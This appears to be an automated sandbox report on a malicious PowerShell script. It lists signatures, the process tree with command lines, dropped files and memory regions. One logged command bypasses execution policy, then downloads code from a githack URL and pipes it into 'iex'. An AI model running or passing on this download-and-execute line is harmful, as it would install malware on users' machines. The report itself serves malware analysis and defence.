Analysis
- max time kernel
150s - max time network
134s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
24/09/2026, 12:16
General
- Target 1-bAcEd2b4-6-3.ps1
- Size 93KB
- Sample260924-pff3catbmd
- SHA256 8a464667e80d48e4fe7bcbc98faaf5e3e306d8ee3f4986f9d24b5ce58144f59c
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\1-bAcEd2b4-6-3.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\buuwvmux\buuwvmux.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES694F.tmp" "c:\Users\Admin\AppData\Local\Temp\buuwvmux\CSCBB558E6FDFA74FB097FE46D4EC8581AE.TMP"3⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\krcyvqq3\krcyvqq3.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8553.tmp" "c:\Users\Admin\AppData\Local\Temp\krcyvqq3\CSCBFC66DE92C54491C82229A46277B9845.TMP"3⤵
-
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm rawcdn.githack.com/e438e-1E-4/486De-dCc03Da8-C-9e7b-eAe/refs/heads/main/7C5F-8-Aa02-6Dc4-AaDb-5-e-e7aA | iex2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
RES694F.tmp
RES8553.tmp
__PSScriptPolicyTest_meo1dnb1.qow.ps1
buuwvmux.dll
krcyvqq3.dll
CSCBB558E6FDFA74FB097FE46D4EC8581AE.TMP
buuwvmux.0.cs
buuwvmux.cmdline
CSCBFC66DE92C54491C82229A46277B9845.TMP
krcyvqq3.0.cs
krcyvqq3.cmdline
memory/1436-47-0x0000028531760000-0x0000028531812000-memory.dmp
memory/1436-4-0x0000028531570000-0x0000028531592000-memory.dmp
memory/1436-25-0x0000028531560000-0x0000028531568000-memory.dmp
memory/1436-8-0x00007FFA13130000-0x00007FFA13AD4000-memory.dmp
memory/1436-7-0x00007FFA13130000-0x00007FFA13AD4000-memory.dmp
memory/1436-6-0x00007FFA13130000-0x00007FFA13AD4000-memory.dmp
memory/1436-26-0x00007FFA13130000-0x00007FFA13AD4000-memory.dmp
memory/1436-27-0x00007FFA13130000-0x00007FFA13AD4000-memory.dmp
memory/1436-28-0x00007FFA13130000-0x00007FFA13AD4000-memory.dmp
memory/1436-32-0x00007FFA13130000-0x00007FFA13AD4000-memory.dmp
memory/1436-33-0x00007FFA13130000-0x00007FFA13AD4000-memory.dmp
memory/1436-10-0x00007FFA13130000-0x00007FFA13AD4000-memory.dmp
memory/1436-12-0x00007FFA13130000-0x00007FFA13AD4000-memory.dmp
memory/1436-0-0x00007FFA132BF000-0x00007FFA132C0000-memory.dmp
memory/1436-5-0x00007FFA13130000-0x00007FFA13AD4000-memory.dmp
memory/1436-43-0x00000285315A0000-0x00000285315A8000-memory.dmp
memory/1436-48-0x0000028531730000-0x000002853173A000-memory.dmp
memory/1436-46-0x0000028531740000-0x000002853175E000-memory.dmp
memory/1436-9-0x00007FFA13130000-0x00007FFA13AD4000-memory.dmp
memory/1436-11-0x00007FFA13130000-0x00007FFA13AD4000-memory.dmp
memory/1436-52-0x0000028531830000-0x0000028531838000-memory.dmp
memory/1436-50-0x0000028531820000-0x000002853182A000-memory.dmp
memory/1436-51-0x0000028531F60000-0x0000028531F7C000-memory.dmp
memory/1436-49-0x0000028531840000-0x000002853185E000-memory.dmp
memory/1436-53-0x0000028531860000-0x0000028531866000-memory.dmp
memory/1436-54-0x0000028531870000-0x000002853187A000-memory.dmp
memory/1436-70-0x00007FFA13130000-0x00007FFA13AD4000-memory.dmp
memory/1436-69-0x00007FFA13130000-0x00007FFA13AD4000-memory.dmp
memory/1436-3-0x00007FFA13130000-0x00007FFA13AD4000-memory.dmp
memory/5820-58-0x0000000005570000-0x00000000055D6000-memory.dmp
memory/5820-59-0x00000000055E0000-0x0000000005646000-memory.dmp
memory/5820-57-0x00000000054D0000-0x00000000054F2000-memory.dmp
memory/5820-62-0x0000000005F40000-0x000000000629B000-memory.dmp
memory/5820-63-0x00000000058C0000-0x00000000058DE000-memory.dmp
memory/5820-64-0x00000000062D0000-0x000000000631C000-memory.dmp
memory/5820-66-0x0000000007BD0000-0x000000000824C000-memory.dmp
memory/5820-67-0x00000000067D0000-0x00000000067EA000-memory.dmp
memory/5820-56-0x00000000058F0000-0x0000000005F3A000-memory.dmp
memory/5820-55-0x0000000002AB0000-0x0000000002AE6000-memory.dmp